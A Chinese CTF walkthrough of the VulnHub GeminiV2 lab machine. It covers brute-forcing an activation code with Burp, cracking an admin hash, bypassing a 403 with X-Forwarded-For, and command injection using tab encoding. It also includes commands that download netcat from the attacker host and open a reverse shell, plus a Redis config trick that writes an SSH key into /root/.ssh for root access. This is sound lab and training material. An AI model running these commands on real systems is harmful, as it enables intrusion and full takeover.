VulnHub-GeminiV2

前言

  这是打靶训练的第22周,难度中,靶机下载

信息搜集

  nmap扫描结果

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

  访问网页,和GeminiV1网站非常像。尝试使用admin 1234登录失败
  
  使用dirb,扫扫目录dirb http://10.16.122.51/ -r -X .php
  
  来到registration.php,随便注册一个用户
  
  注册完毕后,提示激活用户需输入6位数字
  
  上面dirb爆破结果有个activate.php。访问后,看来是激活页面
  
  要User IDActivation Code,才能激活。User ID获取非常简单,点击My Profile,url的u=数字就是User ID。得到User ID为16
  

激活账户

  献出burp来跑激活码,抓包,发现存在token。
  
  设置token可以防止爆破,不过我在源码里发现了token信息
  
  说明请求包的token是从源码里面动态获取的,这点小问题难不倒强大的burp

  Attack type选择Pitchfork,设置好激活码和token
  
  设置Payload 1按下图设置
  
  设置Payload 2点击Options来到Grep - EXtract点击Add
  
  点击Refetch response得到响应包后,双击value里面的值,会自动填充内容匹配规则。
  
  点OK后,设置Payload 2Payload typeRecursive grepPayload Options自动填充成刚刚设置的过滤规则。
  
  最后来到Resource Pool,按下图设置线程为1,token不能使用多线程爆破,这是burp官方给的提示!
  
  爆破没过多久就出现一个302状态码,看样子被重定向了首页
  
  再次查看,用户已经被成功激活
  

Bypass 403

  来到User List9emin1橙色用户名,与其他蓝色用户名对比,是那么的与众不同
  
  查看9emin1用户信息,发现是管理员账号
  
  走投无路之时,可以爆破密码,但这里大可不必。万事第一步先看源码,获取到加密后的password:edbd1887e772e13c251f688a5f10c1ffbb67960d
  
  使用cmd5,明文为:secretpassword,使用账号:Gemini,密码:secretpassword,成功以管理员身份登录
  
  点击Admin Panel中的Execute Command,顾名思义命令执行嘛
  
  经典403页面
  
  加上X-Forwarded-For: 127.0.0.1头,成功绕过
  
  为了简化这一操作,可以安装Bypass WAF插件
  
  来到Project options中的Sessions,在Session Handing Rules点击Add添加一个规则
  
  Add选择Invoke a Burp extension
  
  扩展选择Bypass WAF
  
  来到Scope按下图所示勾选
  
  在Site map中选择靶机ip,Add to scope添加进过滤器,至此插件配置就完成了
  
  再次来到Execute Command页面,成功绕过
  

getshell

  命令能成功执行ls,但无法执行ls -l。所以要么是-被过滤,要么是空格被过滤。经过测试空格被过滤了
  抓包后,可看到burp使用+号代替了空格
  
  使用tab键来替换空格,tab键对应的url编码为%09
  
  放包后,提示命令成功执行
  
  来到Proxy中的OptionsMatch and Replace点击Add添加替换规则。burp会自动将+即空格替换成%09
  
  尝试了使用nc命令,没法反弹shell,应该是一些字符被过滤了。我这边的做法是,靶机下载kali上的nc

wget http://10.16.122.17/nc -O /tmp/nc # 下载nc
chmod +x /tmp/nc
/tmp/nc 10.16.122.17 4545 -e /bin/bash # 反弹shell
python -c 'import pty; pty.spawn("/bin/bash")' # 升级成tty

  
  成功登录后,因为不是完全交互式shell。所以我准备使用ssh免密登录,升级成交互式shell。

cd /home/gemini1
mkdir .ssh
cd .ssh

  之后,来到kali上使用ssh-keygen -t rsa生成密钥
  
  靶机下载id_rsa.pubwget http://10.16.122.17/id_rsa.pub -O authorized_keys
  
  来到kali上成功免密登录
  

提权

  查看运行的端口,存在6379即redis默认端口
  
  grep pass /etc/redis/6379.conf,得到redis连接密码8a7b86a2cd89d96dfcc125ebcc0535e6
  
  使用redis进行提权

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 # 连接redis
config set dir /root/.ssh/
config set dbfilename authorized_keys
# 将kali生成的id_rsa.pub写入
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKHkB2tQIPI4xlnr/l//G45lKtOoF6JOa5U5QoDjrAUZic0A/E8LhE+UhWHr9kx+F4cY2TB2IC7OryHGPM62gAUzZ1Nb4PL/v67aYI+ZHjnpAhjhWgr3ovQ8V/VNAj61JktogJRkW6QioKLkdm6N5Bt37IGQEk63CE3gdm2EGJ1enACTvwP+fhPdBYKhOqNVmn/q39ib2ApRcxDb+/M4HzDLpA4PjIbkxl0dE+HwNGp0vXzwkVy8eOIoNWlf3rU529twHzt2LsD3r7sRY3U3cy9LHZ9ly4fmFGnsoDg1TJfRH5AFGI5PJg6YnWs2JX33z7JHd1yL83WF6hMf8icXOeorZ573LAUykyoyu9rXTzsu/MIJsSiOB/1r4huEX3vJQA6HM5NR3K+INbtL2Jd+tkDcAZ/CR+CSp9Ikn41qW+o9lE0IN3Hpg+Qwc1Q1JpnY9e54GZgFGmB57TOeq6Ul3FLKnRuZ/XqiVFmT52cILCEQwTddCFC21Cx5kqMVrVlws= root@kali \n\n\n"
save

  
  再次免密登录,提权完成
  

查看评论 -
评论